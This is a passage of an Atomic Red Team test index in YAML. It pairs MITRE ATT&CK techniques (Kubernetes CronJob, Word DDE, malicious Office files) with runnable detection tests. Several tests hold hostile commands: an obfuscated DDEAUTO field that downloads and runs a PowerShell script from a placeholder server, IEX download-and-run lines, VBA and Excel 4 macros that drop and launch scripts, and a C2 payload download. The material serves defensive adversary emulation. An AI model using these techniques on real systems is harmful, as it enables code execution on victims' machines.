      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

          '
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

          '
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

          '
        name: bash
        elevation_required: false
  T1559.002:
    technique:
      modified: '2023-09-15T18:57:21.881Z'
      name: 'Inter-Process Communication: Dynamic Data Exchange'
      description: |-
        Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

        Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)

        Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )

        DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).

        OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Script: Script Execution'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d
      created: '2020-02-12T14:10:50.699Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1559/002
        external_id: T1559.002
      - source_name: OWASP CSV Injection
        description: " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February
          7, 2022."
        url: https://owasp.org/www-community/attacks/CSV_Injection
      - source_name: 'CSV Excel Macro Injection '
        description: " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection
          and CSV Excel Macro Injection. Retrieved February 7, 2022."
        url: https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/
      - source_name: BleepingComputer DDE Disabled in Word Dec 2017
        description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature
          in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.
        url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
      - source_name: SensePost PS DDE May 2016
        description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The
          Power Within. Retrieved November 22, 2017.
        url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
      - source_name: Fireeye Hunting COM June 2019
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
      - source_name: Kettle CSV DDE Aug 2014
        description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities.
          Retrieved November 22, 2017.
        url: https://www.contextis.com/blog/comma-separated-vulnerabilities
      - source_name: Microsoft ADV170021 Dec 2017
        description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office
          Defense in Depth Update. Retrieved February 3, 2018.
        url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
      - source_name: Microsoft DDE Advisory Nov 2017
        description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440
          - Securely opening Microsoft Office documents that contain Dynamic Data
          Exchange (DDE) fields. Retrieved November 21, 2017.
        url: https://technet.microsoft.com/library/security/4053440
      - source_name: Enigma Reviving DDE Jan 2018
        description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and
          Excel for Code Execution. Retrieved February 3, 2018.'
        url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
      - source_name: NVisio Labs DDE Detection Oct 2017
        description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents.
          Retrieved November 21, 2017.
        url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
      - source_name: SensePost MacroLess DDE Oct 2017
        description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code
          Exec in MSWord. Retrieved November 21, 2017.
        url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1559.002
    atomic_tests:
    - name: Execute Commands
      auto_generated_guid: f592ba2a-e9e8-4d62-a459-ef63abd819fd
      description: 'Executes commands via DDE using Microsfot Word

        '
      supported_platforms:
      - windows
      executor:
        steps: |
          Open Microsoft Word

          Insert tab -> Quick Parts -> Field

          Choose = (Formula) and click ok.

          After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes.

          The Field Code should now be displayed, change it to Contain the following:

          {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }
        name: manual
    - name: Execute PowerShell script via Word DDE
      auto_generated_guid: 47c21fb6-085e-4b0d-b4d2-26d72c3830b3
      description: 'When the word document opens it will prompt the user to click
        ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download
        and execute a powershell script

        '
      supported_platforms:
      - windows
      executor:
        command: 'start "$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx"

          '
        name: command_prompt
    - name: DDEAUTO
      auto_generated_guid: cf91174c-4e74-414e-bec0-8d60a104d181
      description: |2

        TrustedSec - Unicorn - https://github.com/trustedsec/unicorn

        SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

        Word VBA Macro

        [Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Word

          2. Insert tab -> Quick Parts -> Field

          3. Choose = (Formula) and click ok.

          4. Once the field is inserted, you should now see "!Unexpected End of Formula"

          5. Right-click the Field, choose "Toggle Field Codes"

          6. Paste in the code from Unicorn or SensePost

          7. Save the Word document.

          9. DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

          10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http://<server>/download.ps1'); # " "Microsoft Document Security Add-On"
        name: manual
  T1204.002:
    technique:
      modified: '2023-04-21T12:22:19.740Z'
      name: 'User Execution: Malicious File'
      description: "An adversary may rely upon a user opening a malicious file in
        order to gain execution. Users may be subjected to social engineering to get
        them to open a file that will lead to code execution. This user action will
        typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).
        Adversaries may use several types of files that require a user to execute
        them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries
        may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036)
        and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)
        to increase the likelihood that a user will open and successfully execute
        a malicious file. These methods may include using a familiar naming convention
        and/or password protecting the file and supplying instructions to a user on
        how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious
        File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly
        after Initial Access it may occur at other phases of an intrusion, such as
        when an adversary places a file in a shared directory or on a user's desktop
        hoping that a user will click on it. This activity may also be seen shortly
        after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - TruKno
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.

        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e
      created: '2020-03-11T14:49:36.954Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1204/002
        external_id: T1204.002
      - source_name: Password Protected Word Docs
        description: 'Lawrence Abrams. (2017, July 12). PSA: Don''t Open SPAM Containing
          Password Protected Word Docs. Retrieved January 5, 2022.'
        url: https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1204.002
    atomic_tests:
    - name: OSTap Style Macro Execution
      auto_generated_guid: 8bebc690-18c7-4549-bc98-210f7019efff
      description: |
        This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
        This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
        References:
          https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: 'Path for the macro to write out the "malicious" .jse file

            '
          type: string
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"cscript.exe #{jse_path}`"`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore

          '
        name: powershell
    - name: OSTap Payload Download
      auto_generated_guid: 3f3af983-118a-4fa1-85d3-ba4daa739d80
      description: 'Uses cscript //E:jscript to download a file

        '
      supported_platforms:
      - windows
      input_arguments:
        script_file:
          description: File to execute jscript code from
          type: path
          default: "%TEMP%\\OSTapGet.js"
        file_url:
          description: URL to retrieve file from
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
      executor:
        command: |
          echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}
          cscript //E:Jscript #{script_file}
        cleanup_command: 'del #{script_file} /F /Q >nul 2>&1

          '
        name: command_prompt
    - name: Maldoc choice flags command execution
      auto_generated_guid: 0330a5d2-a45a-4272-a9ee-e364411c4b18
      description: |
        This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word or Excel
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "  a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        name: powershell
    - name: OSTAP JS version
      auto_generated_guid: add560ef-20d6-4011-a937-2c340f930911
      description: |
        Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: jse file to execute with wscript
          type: path
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        name: powershell
    - name: Office launching .bat file from AppData
      auto_generated_guid: 9215ea92-1ded-41b7-9cd6-79f9a78397aa
      description: Microsoft Office creating then launching a .bat script from an
        AppData directory. The .bat file launches calc.exe when opened.
      supported_platforms:
      - windows
      input_arguments:
        bat_path:
          description: Path to malicious .bat file
          type: string
          default: $("$env:temp\art1204.bat")
        ms_product:
          description: Maldoc application Word or Excel
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{bat_path}`" For Output As #1`n   Write #1, `"calc.exe`"`n   Close #1`n   a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
        cleanup_command: |
          Remove-Item #{bat_path} -ErrorAction Ignore
          Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
        name: powershell
    - name: Excel 4 Macro
      auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052
      description: |
        This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious"
        VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.

        A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
        you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated
        with Excel matches that of the local system. This username can be found under Files -> Options -> Username
      supported_platforms:
      - windows
      input_arguments:
        download_url:
          description: Download URL
          type: string
          default: https://live.sysinternals.com/procexp.exe
        uname:
          description: Username for pathing
          type: string
          default: "$env:Username"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

          '
      executor:
        command: |
          $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"
          $fname1 = "$env:TEMP\procexp.exe"
          if (Test-Path $fname) {
            Remove-Item $fname
            Remove-Item $fname1
          }

          $xlApp = New-Object -COMObject "Excel.Application"
          $xlApp.Visible = $True
          $xlApp.DisplayAlerts = $False
          $xlBook = $xlApp.Workbooks.Add()
          $sheet = $xlBook.Excel4MacroSheets.Add()

          if ("#{uname}" -ne "") {
            $sheet.Cells.Item(1,1) = "#{uname}"
          } else {
            $sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"
          }

          $sheet.Cells.Item(2,1) = "procexp.exe"
          $sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs"
          $sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)"
          $sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"
          $sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")"
          $sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"
          $sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"
          $sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")"
          $sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"
          $sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"
          $sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")"
          $sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"
          $sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"
          $sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")"
          $sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"
          $sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")"
          $sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"
          $sheet.Cells.Item(19,1) = "=FCLOSE(A5)"
          $sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"
          $sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"
          $sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"
          $sheet.Cells.Item(23,1) = "=HALT()"
          $sheet.Cells.Item(1,1).Name = "runme"
          $xlApp.Run("runme")
          $xlApp.Quit()

          [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null
          [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null
          [System.GC]::Collect()
          [System.GC]::WaitForPendingFinalizers()

          Remove-Variable xlBook
          Remove-Variable xlApp
        cleanup_command: |
          Stop-Process -Name "procexp*" -ErrorAction Ignore
          Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore
          Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore
        name: powershell
    - name: Headless Chrome code execution via VBA
      auto_generated_guid: a19ee671-ed98-4e9d-b19c-d1954a51585a
      description: |
        This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
        webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
        and pull down the script and execute it. By default the payload will execute calc.exe on the system.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            Stop-Process -Name "winword"
            exit 0 } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      - description: 'Google Chrome must be installed

          '
        prereq_command: |
          try {
            $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Google Chrome manually
          to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome"
        name: powershell
        cleanup_command: 'Stop-Process -name mshta

          '
    - name: Potentially Unwanted Applications (PUA)
      auto_generated_guid: 02f35d62-9fdc-4a97-b899-a5d9a876d295
      description: 'The Potentially Unwanted Applications (PUA) protection feature
        in antivirus software can identify and block PUAs from downloading and installing
        on endpoints in your network. These applications are not considered viruses,
        malware, or other types of threats, but might perform actions on endpoints
        that adversely affect their performance or use. This file is similar to EICAR
        test virus file, but is considered a Potentially Unwanted Application (PUA)
        instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify
        anti-pua protection).

        '
      supported_platforms:
      - windows
      input_arguments:
        pua_url:
          description: url to PotentiallyUnwanted.exe
          type: url
          default: http://amtso.eicar.org/PotentiallyUnwanted.exe
        pua_file:
          description: path to PotentiallyUnwanted.exe
          type: path
          default: "$env:TEMP/PotentiallyUnwanted.exe"
      executor:
        name: powershell
        elevation_required: false
        command: |
          Invoke-WebRequest #{pua_url} -OutFile #{pua_file}
          & "#{pua_file}"
        cleanup_command: |
          Stop-Process -name PotentiallyUnwanted
          Remove-Item #{pua_file} -ErrorAction Ignore
    - name: Office Generic Payload Download
      auto_generated_guid: 5202ee05-c420-4148-bf5e-fd7f7d24850c
      description: |
        This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
        Required input agruments are c2_domain and file_name
        Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
        Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder
        Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt
      supported_platforms:
      - windows
      input_arguments:
        macro_path:
          description: 'Location of file which will be converted to a VBA macro

            '
          type: path
          default: PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt
        c2_domain:
          description: 'This required variable points to a user defined HTTP server
            that will host the file_name in the c2_parent_directory.

            '
          type: url
          default: 
        c2_parent_directory:
          description: |
            Parent directory where you have the "malicious" file on c2_domain server.
            Will default to root directory. Forward slashes are not needed at begining or ending of directory path
          type: path
          default: ''
        file_name:
          description: |
            "Malicious" file to be downloaded.
            This required file needs to be place on the user provided c2 domain
            Example file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt
          type: string
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt
        ms_product:
          description: 'Maldoc application Word or Excel

            '
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Destination c2_domain name or IP address must be set to a running
          HTTP server.

          '
        prereq_command: 'if (#{c2_domain}) (exit 0) else (exit 1)

          '
        get_prereq_command: 'Write-Host "Destination c2 server domain name or IP address
          must be set and reachable for HTTP service"

          '
      - description: 'Microsoftt #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        name: powershell
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macroCode = Get-Content "#{macro_path}" -Raw
          $URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}"
          $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}"
          Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item "C:\Users\$env:username\Desktop\#{file_name}"
          -ErrorAction Ignore

          '
    - name: LNK Payload Download
      auto_generated_guid: 581d7521-9c4b-420e-9695-2aec5241167f
      description: This lnk files invokes powershell to download putty from the internet
        and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile $env:Temp\test10.lnk "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk"
          $file1 = "$env:Temp\test10.lnk"
          Start-Process $file1
          Start-Sleep -s 10
          taskkill /IM a.exe /F
        cleanup_command: |-
          $file1 = "$env:Temp\test10.lnk"
